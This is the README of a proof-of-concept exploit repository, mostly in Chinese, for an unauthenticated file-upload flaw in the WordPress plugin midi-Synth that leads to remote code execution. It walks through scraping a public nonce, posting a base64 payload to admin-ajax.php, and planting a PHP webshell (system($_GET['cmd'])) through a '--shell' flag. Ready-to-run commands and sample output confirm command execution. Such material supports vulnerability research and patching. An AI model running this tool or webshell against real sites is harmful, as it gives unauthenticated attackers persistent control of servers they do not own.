概念验证(PoC) 漏洞利用程序,针对 CVE-2026-1306——WordPress 插件 midi-Synth(版本 <= 1.1.0)中的一个严重未认证任意文件上传漏洞,可导致远程代码执行(RCE)。
CVE-2026-1306 是 WordPress 插件 midi-Synth 中的一个严重(CVSS 9.8)无限制文件上传漏洞。该插件的 export AJAX 操作未能验证文件类型和扩展名,允许未认证攻击者将任意文件——包括 PHP 脚本——上传到可公开访问的目录。
唯一的前提条件是一个 nonce,该插件在前端 JavaScript 中暴露了它,使得任何未认证访问者都能轻易获取。
本仓库包含一个 Python 3 PoC,它可以:
⚠️ 这不是一个检测工具。成功利用将导致服务器完全沦陷。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-1306 |
| 漏洞类型 | 未认证任意文件上传 → RCE |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
| CVSS v3.1 评分 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻击向量 | 网络 |
| 所需权限 | 无(未认证) |
| 用户交互 | 无 |
| 影响 | 机密性:高 · 完整性:高 · 可用性:高 |
| 受影响组件 | admin-ajax.php 中的 export AJAX 操作 |
| 供应商 | midi-Synth(WordPress 插件) |
| 修复版本 | 2.0.0 |
AV:N — 可通过网络远程利用AC:L — 无特殊条件;nonce 公开暴露PR:N — 无需认证UI:N — 无需用户交互(不同于钓鱼类漏洞)S:U — 作用域不变C:H/I:H/A:H — 机密性、完整性和可用性完全丧失| 插件 | 受影响版本 | 修复于 |
|---|---|---|
| midi-Synth | <= 1.1.0 | 2.0.0 |
⚠️ 请立即更新至 2.0.0 或更高版本。 该漏洞正被 WordPress 安全厂商积极追踪,并且已有公开的 Nuclei 模板可用。
该插件的 export AJAX 处理器(midiSynth.php 和 midiSynthConvert.php)在处理文件上传时未验证:
.php 文件该处理程序使用 fileName 和 fileMidi(base64 编码的内容)这两个 POST 参数。由于上传目录(/wp-content/plugins/midi-synth/sound/)可通过 Web 访问,且插件目录中通常启用了 PHP 执行,因此上传的 PHP 文件会被服务器执行。
该插件要求 export 操作必须携带有效的 nonce。然而,该 nonce 在每次页面加载时都会嵌入到前端 JavaScript 中:
var midiSynth_nonce = "a1b2c3d4e5";
任何未认证的访客(包括攻击者)都可以通过一个简单的 GET 请求抓取该值。在此上下文中,该 nonce 不提供任何安全益处。
这是一次直接的、未经认证的服务器入侵。无需受害者交互。
Attacker Target WordPress Server
│ │
│ 1. GET / │
│───────────────────────────────────────>│
│ │
│ 2. HTML response with nonce │
│<───────────────────────────────────────│
│ midiSynth_nonce = "abc123" │
│ │
│ 3. POST /wp-admin/admin-ajax.php │
│ action=export │
│ nonce=abc123 │
│ fileName=shell_x7k2.php │
│ fileMidi=<base64 PHP code> │
│───────────────────────────────────────>│
│ │
│ 4. File written to: │
│ /wp-content/plugins/ │
│ midi-synth/sound/shell_x7k2.php │
│<───────────────────────────────────────│
│ │
│ 5. GET /wp-content/.../shell_x7k2.php?cmd=id
│───────────────────────────────────────>│
│ │
│ 6. Command output (RCE) │
│<───────────────────────────────────────│
│ │
结果: 攻击者在服务器上获得了一个持久化 webshell,并可以执行任意系统命令。
requests 库安装依赖:
pip install requests
git clone https://github.com/SecureNet-Dynamics/CVE-2026-1306.git
cd CVE-2026-1306
---
## 🚀 Usage
```bash
python3 CVE-2026-1306.py -t <TARGET_URL> [OPTIONS]
| Flag | Long Form | Description |
|---|---|---|
-t | --target | Required. Target WordPress base URL |
--check | — | Upload a test .txt file to verify vulnerability |
-f | --filename | Filename to upload (with -c for content) |
-c | --content | Content for the uploaded file (default: test string) |
--shell | — | Upload a PHP webshell for RCE |
-k | --insecure | Disable SSL certificate verification |
Uploads a harmless .txt file and verifies it's accessible.
python3 CVE-2026-1306.py -t http://target.com --check
Expected output (vulnerable):
[+] 正在从 http://target.com 获取 nonce
[+] Nonce: a1b2c3d4e5
[+] 正在上传: test_x7k2m9.txt
[✓] 文件可访问: http://target.com/wp-content/plugins/midi-synth/sound/test_x7k2m9.txt
[+] 内容预览: CVE-2026-1306 test
[!] 目标存在 CVE-2026-1306 漏洞
Upload a specific file with custom content.
python3 CVE-2026-1306.py -t http://target.com -f proof.txt -c "authorized-testing"
Uploads a minimal PHP webshell (<?php system($_GET['cmd']); ?>) and provides the execution URL.
python3 CVE-2026-1306.py -t http://target.com --shell
Expected output:
[+] 正在从 http://target.com 获取 nonce
[+] Nonce: a1b2c3d4e5
[+] 正在上传: shell_x7k2m9.php
[✓] Webshell 已上传: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php
[+] 执行: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=whoami
[!] RCE 已就绪: http://target.com/wp-content/plugins/midi-synth/sound/shell_x7k2m9.php?cmd=id
⚠️ The
--shellflag creates a persistent backdoor. Only use on systems you own and control, and remove the uploaded file immediately after testing.
# 基础漏洞检查
python3 CVE-2026-1306.py -t http://target.com --check
# 使用自签名证书检查
python3 CVE-2026-1306.py -t https://target.local -k --check
# 上传自定义文件
python3 CVE-2026-1306.py -t http://target.com -f test.php -c '<?php echo "pwned"; ?>'
# 上传 webshell 以实现 RCE
python3 CVE-2026-1306.py -t http://target.com --shell
The script performs a GET request to the target's homepage and uses a regex to extract the nonce:
match = re.search(r'var midiSynth_nonce\s*=\s*"([a-z0-9]+)"', resp.text)
This works because the plugin embeds the nonce in frontend JavaScript on every page load, with no authentication or access control .
The script sends a POST to /wp-admin/admin-ajax.php with:
| Parameter | Value |
|---|---|
action | export |
nonce | Extracted nonce |
fileName | Attacker-controlled filename (e.g., shell_abc123.php) |
fileMidi | Base64-encoded file content |
The plugin decodes fileMidi and writes it to the sound/ subdirectory without validating the extension or content .
The script performs a GET request to the expected file path:
/wp-content/plugins/midi-synth/sound/<filename>
If the response is 200 OK and contains the expected content, the upload is confirmed.
allow_redirects=False Isn't Needed Here